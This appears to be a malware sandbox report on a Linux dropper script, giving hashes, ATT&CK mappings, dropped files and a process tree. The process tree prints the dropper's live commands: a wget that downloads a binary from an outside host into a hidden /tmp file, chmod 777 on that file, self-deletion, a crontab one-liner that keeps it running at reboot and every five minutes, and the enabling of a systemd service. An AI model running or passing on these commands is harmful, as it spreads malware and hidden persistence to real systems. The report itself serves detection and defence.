b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9

General

Target
s1ipknot.sh
Size 2KB
Sample260511-mpk2jsay3q
SHA256 b4ad4a20ca288d0b40392c1ca6f93143094d3b097a5da1803c2d0d89418700a9
MD5 647dd8a994fc4c6486d5ff43f53bf03c
SHA1 019c1d71d58d76b3ff2ad8a727f254826b595f91
SHA512 5df44c4b317f1cd535cbd294cdacf9c5ea7bacffbd2c52000545b5f10a96efb45aa24f51df0c87420ea226ea357bda1c5d8f1011a8a4f939ff98f7459ae06779
TLSH
T17B41E0DBBC62B133978EC03E23AD6406A487992B457C1D38704D6C347F784A4F8796B9
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
744	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.kworker	741	s1ipknot.sh

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	205.185.115.131
Destination IP	205.185.115.131

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.eCyp6F	crontab

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	[kworker/0:0]	745	.kworker

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
712	s1ipknot.sh
717	dd
742	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.kworker	wget

/tmp/s1ipknot.sh
/tmp/s1ipknot.sh
1⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:712
- /bin/uname
  uname -m
  2⤵
  PID:714
- /bin/dd
  dd "if=/bin/busybox" "bs=1" "skip=5" "count=1"
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/od
  od -An -td1
  2⤵
  PID:719
- /usr/bin/tr
  tr -d " \\n"
  2⤵
  PID:720
- /bin/rm
  rm -f /tmp/.kworker
  2⤵
  PID:724
- /usr/bin/wget
  wget -q -O /tmp/.kworker http://data.913337.xyz/wp-content/upgrade/cache/kaf.mpsl
  2⤵
  - Writes file to tmp directory
  PID:726
- /bin/rm
  rm -f /tmp/s1ipknot.sh
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod 777 /tmp/.kworker
  2⤵
  - File and Directory Permissions Modification
  PID:744

/tmp/.kworker
/tmp/.kworker
1⤵
- Changes its process name
PID:741
- /bin/sh
  sh -c -- "(crontab -l 2>/dev/null | grep -v '/tmp/.kworker'; echo '@reboot /tmp/.kworker'; echo '*/5 * * * * /tmp/.kworker') | crontab - 2>/dev/null"
  2⤵
  PID:752
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    - Reads runtime system information
    PID:754
- - /usr/bin/crontab
    crontab -l
    3⤵
    - Reads runtime system information
    PID:755
- - /bin/grep
    grep -v /tmp/.kworker
    3⤵
    PID:756
- /bin/sh
  sh -c -- "systemctl daemon-reload"
  2⤵
  PID:757
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:758
- /bin/sh
  sh -c -- "systemctl enable toxnet.service"
  2⤵
  PID:771
- - /bin/systemctl
    systemctl enable toxnet.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:772
- /bin/sh
  sh -c -- "systemctl start toxnet.service"
  2⤵
  PID:789
- - /bin/systemctl
    systemctl start toxnet.service
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:790

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

rc.local

Path /etc/rc.local
Size 16B
SHA256 a0735432d4e4b017ec480f979a0e3c86c6457e62603e8ef4d2d282de55883164
MD5 70a4dd42731ef8a8adff3af6cfe128a9
SHA1 335b8c5d61b698fa083299ee101e569b26715844
SHA512 c86b39c40556d70a05dcb9e529b350c1bc204cbe890da89f86ea80ea5994920d9e7f765ae27328a90730a42bde055456892c3dfc0df39394c9b6fea6dc81109a
MD5 SHA1 SHA512

Submit Download

toxnet.service

Path /etc/systemd/system/toxnet.service
Size 165B
SHA256 065bad4f533c48a172633a2aea24ff6b2bf9c742f701d7410602b690b8c4101d
MD5 3e100defdf1ee9feafa1a9ffc1ce2531
SHA1 cacff3138f3214c49e454b637e48ce00102c290d
SHA512 7150b43b37a501e422035796026f643b01d0b9fabde096d4e5e68114a693b80b118c076c58dbac6eacdc50e3b7012add0f911ca1a7a244514c6da265901dc4dc
TLSH
T1D9C0805369311491CD4F35724FE26B409D1045414BCDD1740FD05C5604D5147525559D
MD5 SHA1 SHA512 TLSH

Submit Download

.kworker

Path /tmp/.kworker
Size 1.5MB
SHA256 7ff2f7a7d7afbbf57767c789d30d6e75c0bd383cfb5e0cfe9d25114503935827
MD5 33aa09efe2a2f85a53194437b9e99225
SHA1 62f951ad5ed8d43a80f5a081122d7985d91a6f85
SHA512 39c6ada9166cda9e239f17493ac6ee927f0d0f06e0c35bb9b245bc66d8f1b098bd3705e384e92fca0750bf623b0ce27cf1370fb9543807dcb2f06bdfa9e98d60
SSDEEP 24576:65w23UEdMeGH0zl4M5NA+cJX8lAIt+V9GZF/b1PteGVAQoh46HAGC:67GH4+M5uZ8K6zjjA2uA
TLSH
T159755C46AF806FFBC49FCD71463DC35714DDA8D651C4A63B31B8CA8DBA5E20A4AD3488
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.eCyp6F

Path /var/spool/cron/crontabs/tmp.eCyp6F
Size 223B
SHA256 1e4cee2d002a9e2e0cdb0c02a546fb324846b277b2ef40fffd1d54e802699db1
MD5 92ba0b6578a2b890f6525743c418ef53
SHA1 060c022e7244cb9ed97a7a9e3abdb518e8929e72
SHA512 fee6c07a56744aa92546061254d7a0117411ed1572298a7d3c998c67091e29fdc0781ffa09cdd75b677bba3ba1c5e814f88a177be140522f3b39e4560e8f19c1
TLSH
T1DFD0232DBF10157015063795601F0725F841D06DC04D5F50E1AC5434425F74D6754961
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads